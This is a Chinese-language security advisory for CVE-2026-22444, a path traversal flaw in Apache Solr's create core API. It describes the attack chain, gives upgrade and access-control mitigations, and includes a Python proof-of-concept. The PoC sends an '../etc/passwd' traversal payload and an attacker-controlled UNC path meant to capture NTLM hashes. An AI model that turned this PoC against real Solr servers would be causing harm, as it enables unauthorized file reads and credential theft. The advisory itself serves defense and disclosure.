IPBUF安全漏洞报告
English
CVE-2026-22444 CVSS 7.1 高危

CVE-2026-22444: Apache Solr create core API路径遍历导致配置集泄露

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-22444
漏洞类型
路径遍历/访问控制绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Solr

相关标签

路径遍历访问控制绕过Apache SolrallowPaths绕过NTLM哈希泄露WindowsCVE-2026-22444

漏洞概述

CVE-2026-22444是Apache Solr中的一个高危安全漏洞,影响版本8.6至9.10.0。该漏洞源于Solr的"create core" API对某些API参数缺乏足够的输入验证,导致攻击者可以绕过Solr的"allowPaths"安全限制,检查并尝试读取被禁止访问的文件系统路径。这些只读访问允许低权限用户使用意外的配置集创建核心,从而可能获取敏感配置信息。在Windows系统上,如果配置允许UNC路径,该漏洞还可能导致NTLM用户哈希泄露,造成更严重的安全风险。攻击者需要具有创建核心的权限才能利用此漏洞。

技术细节

Apache Solr的"create core" API在处理配置集参数时未进行充分的路径安全验证。当用户调用创建核心接口时,Solr会根据传入的参数访问文件系统上的配置集目录。由于缺少对路径遍历字符(如"../")和符号链接的严格检查,攻击者可以通过构造特殊的请求路径,绕过"allowPaths"设置中定义的目录限制,访问任意文件系统路径。具体而言,攻击者可利用API参数指定包含"../"的路径序列,遍历到allowPaths允许范围之外的目录,读取配置集文件或触发对敏感路径的访问。在Windows环境中,如果系统配置允许UNC路径(\\server\share格式),攻击者可以指定UNC路径作为配置集位置,这会导致Solr尝试访问远程共享资源,从而触发NTLM认证过程并可能泄露用户哈希值。漏洞的核心问题在于输入验证不足和安全边界检查失效的组合。

攻击链分析

STEP 1
步骤1
识别目标:扫描网络找到运行Apache Solr 8.6-9.10.0版本且以standalone模式运行的实例
STEP 2
步骤2
验证访问权限:确认当前用户具有core-admin-edit权限或RuleBasedAuthorizationPlugin已禁用
STEP 3
步骤3
构造恶意请求:构造包含路径遍历序列(如../../)或UNC路径的create core API请求
STEP 4
步骤4
绕过allowPaths限制:发送恶意请求,触发Solr访问被禁止的文件系统路径
STEP 5
步骤5
获取敏感信息:读取配置集文件或利用意外配置集创建核心,获取敏感配置信息
STEP 6
步骤6(Windows特定)
NTLM哈希泄露:如果系统允许UNC路径,指定攻击者控制的UNC路径触发NTLM认证,捕获用户哈希

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # CVE-2026-22444 PoC - Apache Solr Path Traversal in create core API # Target: Apache Solr 8.6 - 9.10.0 TARGET = "http://target-solr:8983" def create_core_with_path_traversal(): """ Create a core using path traversal to bypass allowPaths restriction """ # Construct path traversal payload to access restricted paths # Using ../ to traverse outside allowed directories malicious_configset = "../../../../etc/passwd" url = f"{TARGET}/solr/admin/cores" params = { "action": "CREATE", "name": "malicious_core", "instanceDir": malicious_configset, "configSet": malicious_configset, "collection": "malicious_collection", "numShards": 1 } try: response = requests.get(url, params=params, verify=False, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Core creation request sent - check for path traversal success") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def check_ntlm_hash_leak_unc(): """ Windows UNC path trigger for NTLM hash leak """ url = f"{TARGET}/solr/admin/cores" # Attacker controlled UNC path to capture NTLM hash unc_path = "\\\\attacker-server\\share\\configset" params = { "action": "CREATE", "name": "unc_core", "instanceDir": unc_path, "configSet": unc_path } try: response = requests.get(url, params=params, verify=False, timeout=10) print(f"[+] UNC path request sent to trigger NTLM auth") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=== CVE-2026-22444 PoC ===") create_core_with_path_traversal() print("\n=== NTLM Hash Leak Test (Windows) ===") check_ntlm_hash_leak_unc()

影响范围

Apache Solr >= 8.6.0 且 < 9.10.1

防御指南

临时缓解措施
立即启用Solr的RuleBasedAuthorizationPlugin(如果已禁用),并配置权限列表禁止不可信用户创建新核心。同时将Apache Solr升级到9.10.1或更高版本。对于无法立即升级的情况,可通过配置严格的访问控制策略限制API访问,确保只有管理员权限的用户才能调用create core API。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表